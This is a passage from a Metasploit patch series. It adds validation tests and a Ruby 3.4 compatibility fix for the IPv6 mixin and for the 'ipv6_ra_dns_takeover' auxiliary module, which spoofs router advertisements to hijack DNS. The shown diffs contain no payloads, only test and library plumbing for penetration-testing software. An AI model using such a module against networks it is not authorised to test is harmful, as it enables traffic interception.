'SPOOF_IP6') + fail_with(Failure::BadConfig, 'RA_INTERVAL must be >= 1') if datastore['RA_INTERVAL'] < 1 check_pcaprub_loaded start_service diff --git a/spec/lib/msf/core/exploit/remote/ipv6_spec.rb b/spec/lib/msf/core/exploit/remote/ipv6_spec.rb index 0ed0abfdf4d8c..002f5b42be52b 100644 --- a/spec/lib/msf/core/exploit/remote/ipv6_spec.rb +++ b/spec/lib/msf/core/exploit/remote/ipv6_spec.rb @@ -35,6 +35,10 @@ it 'rejects an empty server list' do expect { mod.ipv6_build_rdnss_option([]) }.to raise_error(ArgumentError) end + + it 'rejects an IPv4 address, since hton would silently encode it as 4 bytes and corrupt the option length' do + expect { mod.ipv6_build_rdnss_option('192.0.2.1') }.to raise_error(ArgumentError, /invalid IPv6 address/) + end end describe '#ipv6_build_dnssl_search_option' do diff --git a/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb b/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb index e255928516a02..1849f3fecea11 100644 --- a/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb +++ b/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb @@ -43,6 +43,12 @@ def captured_response expect(dns_service).not_to receive(:send_response) mod.on_dispatch_request(cli, query_bytes('www.example.com', 'AAAA')) end + + it 'logs the peer as an IPv6-safe bracketed authority, not a bare host:port' do + allow(dns_service).to receive(:send_response) + expect(mod).to receive(:print_good).with(a_string_matching(/\[fe80::5\]:546/)) + mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'AAAA')) + end end describe '#run validation' do @@ -50,6 +56,11 @@ def captured_response mod.datastore['SPOOF_IP6'] = '10.0.0.1' expect { mod.run }.to raise_error(Msf::Auxiliary::Failed, /SPOOF_IP6 must be a valid IPv6/) end + + it 'rejects an RA_INTERVAL below 1, since 0 or negative would flood the segment' do + mod.datastore['RA_INTERVAL'] = 0 + expect { mod.run }.to raise_error(Msf::Auxiliary::Failed, /RA_INTERVAL must be >= 1/) + end end describe 'SRVHOST default (from shared NamePoisoner)' do From 4c4473a20559851a7496ae9824f75cb9748232b1 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Thu, 27 Aug 2026 23:34:56 +0530 Subject: [PATCH 10/11] Require packetfu in the IPv6 mixin so the packet builders load deterministically The mixin builds PacketFu::IPv6Packet objects but never required packetfu itself; it was only pulled in lazily by Msf::Exploit::Capture#initialize. Under the CI suite the classes could load partially, leaving a StructFu dependency nil and raising "undefined method '[]' for nil" inside PacketFu::IPv6Packet.new. Requiring packetfu in the mixin, and in the two specs that construct packets directly, makes the load order deterministic. --- lib/msf/core/exploit/remote/ipv6.rb | 2 ++ spec/lib/msf/core/exploit/remote/ipv6_spec.rb | 1 + spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb | 1 + 3 files changed, 4 insertions(+) diff --git a/lib/msf/core/exploit/remote/ipv6.rb b/lib/msf/core/exploit/remote/ipv6.rb index 323ea5a97d76b..7c80682ed8883 100644 --- a/lib/msf/core/exploit/remote/ipv6.rb +++ b/lib/msf/core/exploit/remote/ipv6.rb @@ -1,5 +1,7 @@ # -*- coding: binary -*- +require 'packetfu' + module Msf ### diff --git a/spec/lib/msf/core/exploit/remote/ipv6_spec.rb b/spec/lib/msf/core/exploit/remote/ipv6_spec.rb index 002f5b42be52b..6b486522eb51d 100644 --- a/spec/lib/msf/core/exploit/remote/ipv6_spec.rb +++ b/spec/lib/msf/core/exploit/remote/ipv6_spec.rb @@ -1,4 +1,5 @@ require 'spec_helper' +require 'packetfu' RSpec.describe Msf::Exploit::Remote::Ipv6 do # The packet builders under test are pure, so allocate an includer without diff --git a/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb b/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb index 1849f3fecea11..999ab534b6b6d 100644 --- a/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb +++ b/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb @@ -1,4 +1,5 @@ require 'spec_helper' +require 'packetfu' RSpec.describe 'auxiliary/spoof/ipv6/ipv6_ra_dns_takeover' do include_context 'Msf::Simple::Framework#modules loading' From 1302e6512ecfbd2875851ac39ae3a11efddff2e4 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Thu, 27 Aug 2026 23:59:34 +0530 Subject: [PATCH 11/11] Fix PacketFu packet construction on Ruby 3.4 packetfu 2.0.0 (its latest release) recovers the setter name inside StructFu#typecast by matching caller[0] against the MRI <= 3.3 backtrace format (`method='). Ruby 3.4 reformatted backtraces to 'Klass#method=', so the pattern returns nil and every PacketFu field assignment, including the ones inside PacketFu::IPv6Packet.new itself, raises "undefined method '[]' for nil". This broke the IPv6 RA specs only on the 3.4 CI job. Reopen StructFu#typecast in the IPv6 mixin with a pattern that captures the trailing setter name on both the old and new formats. Verified against Ruby 3.4.9 and 3.3.8. --- lib/msf/core/exploit/remote/ipv6.rb | 14 ++++++++++++++ spec/lib/msf/core/exploit/remote/ipv6_spec.rb | 1 - .../spoof/ipv6/ipv6_ra_dns_takeover_spec.rb | 1 - 3 files changed, 14 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/remote/ipv6.rb b/lib/msf/core/exploit/remote/ipv6.rb index 7c80682ed8883..1de2e938cb972 100644 --- a/lib/msf/core/exploit/remote/ipv6.rb +++ b/lib/msf/core/exploit/remote/ipv6.rb @@ -2,6 +2,20 @@ require 'packetfu' +# packetfu 2.0.0 (the latest release) ships a StructFu#typecast that recovers the +# setter it was called from by matching the caller backtrace against the MRI <= 3.3 +# format (`method='). Ruby 3.4 reformatted backtraces to 'Klass#method=', so the old +# pattern returns nil and every PacketFu field assignment - including the ones inside +# PacketFu::IPv6Packet.new itself - raises "undefined method '[]' for nil". Grab the +# trailing setter name in a way that works on both formats until packetfu is fixed +# upstream. Safe on 3.2/3.3 as well; the captured name is identical there. +module StructFu + def typecast(i) + name = caller(1..1).first[/([A-Za-z0-9_]+)=['`]/, 1] + self[name.to_sym].read i + end +end + module Msf ### diff --git a/spec/lib/msf/core/exploit/remote/ipv6_spec.rb b/spec/lib/msf/core/exploit/remote/ipv6_spec.rb index 6b486522eb51d..002f5b42be52b 100644 --- a/spec/lib/msf/core/exploit/remote/ipv6_spec.rb +++ b/spec/lib/msf/core/exploit/remote/ipv6_spec.rb @@ -1,5 +1,4 @@ require 'spec_helper' -require 'packetfu' RSpec.describe Msf::Exploit::Remote::Ipv6 do # The packet builders under test are pure, so allocate an includer without diff --git a/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb b/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb index 999ab534b6b6d..1849f3fecea11 100644 --- a/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb +++ b/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb @@ -1,5 +1,4 @@ require 'spec_helper' -require 'packetfu' RSpec.describe 'auxiliary/spoof/ipv6/ipv6_ra_dns_takeover' do include_context 'Msf::Simple::Framework#modules loading'